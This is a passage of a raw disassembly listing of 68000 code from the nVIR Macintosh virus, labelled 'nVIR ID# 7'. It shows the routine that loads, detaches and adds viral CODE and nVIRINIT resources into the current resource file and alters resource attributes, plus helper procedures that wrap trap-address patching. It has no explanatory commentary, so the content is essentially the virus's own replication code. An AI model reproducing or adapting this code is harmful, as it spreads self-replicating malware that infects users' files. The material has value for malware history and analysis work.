0294: BNE L0560
0298: MOVE.L $FFE0(A6),-(A7)
029C: _DetachResource
029E: MOVE.L $FFE0(A6),-(A7)
02A2: MOVE.L L058C,-(A7)
02A6: MOVE.W #$0001,-(A7)
02AA: PEA L058A
02AE: _AddResource
02B0: CLR.W -(A7)
02B2: _ResError
02B4: TST.W (A7)+
02B6: BNE L0560
02BA: MOVEQ $03,D0
02BC: CMP.B D7,D0
02BE: BNE.S L0392
02C0: CLR.L -(A7)
02C2: MOVE.L L0586,-(A7)
02C6: CLR.W -(A7)
02C8: _GetResource
02CA: MOVE.L (A7)+,$FFFC(A6)
02CE: BEQ L0560
02D2: CLR.L -(A7)
02D4: MOVEQ $08,D0
02D6: MOVE.L D0,-(A7)
02D8: JSR locProc7
02DC: MOVE.L (A7)+,$FFE4(A6)
02E0: BEQ L0560
02E4: MOVEA.L $FFFC(A6),A0
02E8: MOVEA.L (A0),A0
02EA: MOVEA.L $FFE4(A6),A1
02EE: MOVEA.L (A1),A1
02F0: LEA $0010(A0),A0
02F4: MOVE.L (A0)+,(A1)+
02F6: MOVE.L (A0)+,(A1)+
02F8: MOVE.L $FFE4(A6),-(A7)
02FC: MOVE.L L058C,-(A7)
0300: MOVE.W #$0002,-(A7)
0304: PEA L058A
0308: _AddResource
030A: CLR.W -(A7)
030C: _ResError
030E: TST.W (A7)+
0310: BNE L0560
0314: L0392 MOVE.L $FFE8(A6),-(A7)
0318: _LoadResource
031A: CLR.W -(A7)
031C: _ResError
031E: TST.W (A7)+
0320: BNE L0560
0324: MOVE.L $FFE8(A6),-(A7)
0328: _DetachResource
032A: MOVEQ $03,D0
032C: CMP.B D7,D0
032E: BNE.S L03C2
0330: MOVE.L $FFE8(A6),-(A7)
0334: MOVE.L L058C,-(A7)
0338: MOVE.W #$0003,-(A7)
033C: PEA L058A
0340: _AddResource
0342: BRA.S L03FE
0344: L03C2 MOVE.L $FFE8(A6),-(A7)
0348: MOVE.L L0590,-(A7)
034C: MOVE.W #$0020,-(A7)
0350: PEA L058A
0354: _AddResource
0356: CLR.W -(A7)
0358: _ResError
035A: TST.W (A7)+
035C: BNE L0560
0360: MOVE.L $FFE8(A6),-(A7)
0364: MOVEQ $00,D0
0366: MOVE.L D0,-(A7)
0368: CLR.W -(A7)
036A: MOVE.L $FFE8(A6),-(A7)
036E: _GetResAttrs
0370: MOVE.W (A7)+,D1
0372: MOVE.L (A7)+,D0
0374: MOVE.W D1,D0
0376: OR.L #$00000010,D0
037C: MOVE.W D0,-(A7)
037E: _SetResAttrs
0380: L03FE CLR.W -(A7)
0382: _ResError
0384: TST.W (A7)+
0386: BNE L0560
038A: MOVE.L $FFEC(A6),-(A7)
038E: _LoadResource
0390: CLR.W -(A7)
0392: _ResError
0394: TST.W (A7)+
0396: BNE L0560
039A: MOVE.L $FFEC(A6),-(A7)
039E: _DetachResource
03A0: MOVEQ $03,D0
03A2: CMP.B D7,D0
03A4: BNE.S L0438
03A6: MOVE.L $FFEC(A6),-(A7)
03AA: MOVE.L L0586,-(A7)
03AE: MOVE.W #$0100,-(A7)
03B2: PEA L058A
03B6: _AddResource
03B8: BRA.S L044A
03BA: L0438 MOVE.L $FFEC(A6),-(A7)
03BE: MOVE.L L058C,-(A7)
03C2: MOVE.W #$0004,-(A7)
03C6: PEA L058A
03CA: _AddResource
03CC: L044A CLR.W -(A7)
03CE: _ResError
03D0: TST.W (A7)+
03D2: BNE L0560
03D6: MOVEQ $01,D0
03D8: CMP.B D7,D0
03DA: BNE.S L04BC
03DC: CLR.L -(A7)
03DE: MOVEQ $08,D0
03E0: MOVE.L D0,-(A7)
03E2: JSR locProc7
03E6: MOVE.L (A7)+,$FFF0(A6)
03EA: BEQ L0560
03EE: MOVE.W D6,-(A7)
03F0: _UseResFile
03F2: CLR.L -(A7)
03F4: MOVE.L L0586,-(A7)
03F8: CLR.W -(A7)
03FA: _GetResource
03FC: MOVE.L (A7)+,$FFFC(A6)
0400: BEQ L0560
0404: CLR.W -(A7)
0406: _UseResFile
0408: MOVEA.L $FFFC(A6),A0
040C: MOVEA.L (A0),A0
040E: MOVEA.L $FFF0(A6),A1
0412: MOVEA.L (A1),A1
0414: LEA $0010(A0),A0
0418: MOVE.L (A0)+,(A1)+
041A: MOVE.L (A0)+,(A1)+
041C: MOVE.L $FFF0(A6),-(A7)
0420: MOVE.L L058C,-(A7)
0424: MOVE.W #$0005,-(A7)
0428: PEA L058A
042C: _AddResource
042E: CLR.W -(A7)
0430: _ResError
0432: TST.W (A7)+
0434: BNE L0560
0438: MOVE.L $FFFC(A6),-(A7)
043C: _ReleaseResource
043E: L04BC MOVE.L $FFF4(A6),-(A7)
0442: _LoadResource
0444: CLR.W -(A7)
0446: _ResError
0448: TST.W (A7)+
044A: BNE L0560
044E: MOVE.L $FFF4(A6),-(A7)
0452: _DetachResource
0454: MOVE.L $FFF4(A6),-(A7)
0458: MOVE.L L058C,-(A7)
045C: MOVE.W #$0006,-(A7)
0460: PEA L058A
0464: _AddResource
0466: CLR.W -(A7)
0468: _ResError
046A: TST.W (A7)+
046C: BNE.S L0560
046E: MOVE.L $FFF8(A6),-(A7)
0472: _LoadResource
0474: CLR.W -(A7)
0476: _ResError
0478: TST.W (A7)+
047A: BNE.S L0560
047C: MOVE.L $FFF8(A6),-(A7)
0480: _DetachResource
0482: MOVE.L $FFF8(A6),-(A7)
0486: MOVE.L L058C,-(A7)
048A: MOVE.W #$0007,-(A7)
048E: PEA L058A
0492: _AddResource
0494: CLR.W -(A7)
0496: _ResError
0498: TST.W (A7)+
049A: BNE.S L0560
049C: MOVEQ $03,D0
049E: CMP.B D7,D0
04A0: BNE.S L0560
04A2: MOVE.L $FFF0(A6),-(A7)
04A6: _LoadResource
04A8: CLR.W -(A7)
04AA: _ResError
04AC: TST.W (A7)+
04AE: BNE.S L0560
04B0: MOVE.L $FFF0(A6),-(A7)
04B4: JSR locProc11
04B8: CLR.L -(A7)
04BA: MOVE.L L0586,-(A7)
04BE: CLR.W -(A7)
04C0: _GetResource
04C2: MOVE.L (A7)+,$FFFC(A6)
04C6: BEQ.S L0560
04C8: MOVEA.L $FFF0(A6),A0
04CC: MOVEA.L (A0),A0
04CE: MOVEA.L $FFFC(A6),A1
04D2: MOVEA.L (A1),A1
04D4: LEA $0010(A1),A1
04D8: MOVE.L (A0)+,(A1)+
04DA: MOVE.L (A0)+,(A1)+
04DC: MOVE.L $FFFC(A6),-(A7)
04E0: _ChangedResource
04E2: L0560 CLR.W -(A7)
04E4: _CurResFile
04E6: _UpdateResFile
04E8: MOVE.W D6,-(A7)
04EA: _UseResFile
04EC: MOVE.L A4,-(A7)
04EE: JSR locProc6
04F2: MOVEM.L (A7)+,D5-D7/A4
04F6: UNLK A6
04F8: MOVEA.L (A7)+,A0
04FA: ADDQ.W #6,A7
04FC: JMP (A0)
04FE: .WORD $C94E,$5354,$2020,$2020 ;[.NST ]
0506: .WORD $E,$434F,$4445,0 ;[..CODE..]
050E: L058C .WORD $6E56,$4952,$494E,$4954 ;[nVIRINIT]
;Seg 5 = nVIR ID# 7 proc 4 of 14 (local)
0000: L0594 MOVEA.L (A7)+,A0
0002: MOVEA.L (A7),A1
0004: MOVE.L A0,(A7)
0006: JMP (A1)
;Seg 5 = nVIR ID# 7 proc 5 of 14 (local)
0000: L059C _GetZone
0002: MOVE.L A0,$0004(A7)
0006: JMP L05BE
;Seg 5 = nVIR ID# 7 proc 6 of 14 (local)
0000: L05A6 MOVEA.L (A7)+,A1
0002: MOVEA.L (A7)+,A0
0004: _SetZone
0006: JMP L05BC
000A: MOVEA.L (A7)+,A1
000C: MOVE.L (A7)+,D0
000E: _CompactMem
0010: MOVE.L D0,(A7)
0012: NOP
0014: MOVEQ $00,D0
0016: L05BC MOVE.L A1,-(A7)
0018: L05BE MOVE.W D0,$0220
001C: RTS
001E: .WORD $7000,$60F6 ;[p.`.....]
;Seg 5 = nVIR ID# 7 proc 7 of 14 (local)
0000: L05C8 MOVEA.L (A7)+,A1
0002: MOVE.L (A7)+,D0
0004: _NewHandle
0006: MOVE.L A0,(A7)
0008: JMP L05BC
;Seg 5 = nVIR ID# 7 proc 8 of 14 (local)
0000: L05D4 MOVEA.L (A7)+,A1
0002: MOVEA.L (A7)+,A0
0004: _DisposHandle
0006: JMP L05BC
;Seg 5 = nVIR ID# 7 proc 9 of 14 (local)
0000: L05DE MOVEA.L (A7)+,A1
0002: MOVEA.L (A7)+,A0
0004: _HLock
0006: JMP L05BC
;Seg 5 = nVIR ID# 7 proc 10 of 14 (local)
0000: L05E8 MOVEA.L (A7)+,A1
0002: MOVEA.L (A7)+,A0
0004: _HUnLock
0006: JMP L05BC
;Seg 5 = nVIR ID# 7 proc 11 of 14 (local)
0000: L05F2 MOVEA.L (A7)+,A1
0002: MOVEA.L (A7)+,A0
0004: _HNoPurge
0006: JMP L05BC
;Seg 5 = nVIR ID# 7 proc 12 of 14 (local)
0000: L05FC MOVEA.L (A7)+,A1
0002: MOVE.W (A7)+,D0
0004: _GetTrapAddress
0006: MOVE.L A0,(A7)
0008: JMP (A1)
;Seg 5 = nVIR ID# 7 proc 13 of 14 (local)
0000: L0606 MOVEA.L (A7)+,A1
0002: MOVE.W (A7)+,D0
0004: MOVEA.L (A7)+,A0
0006: _SetTrapAddress
0008: JMP (A1)
;Seg 5 = nVIR ID# 7 proc 14 of 14 (local)
0000: L0610 MOVEA.L (A7)+,A1
0002: MOVEA.L (A7)+,A0
0004: MOVE.L $020C,(A0)
0008: JMP (A1)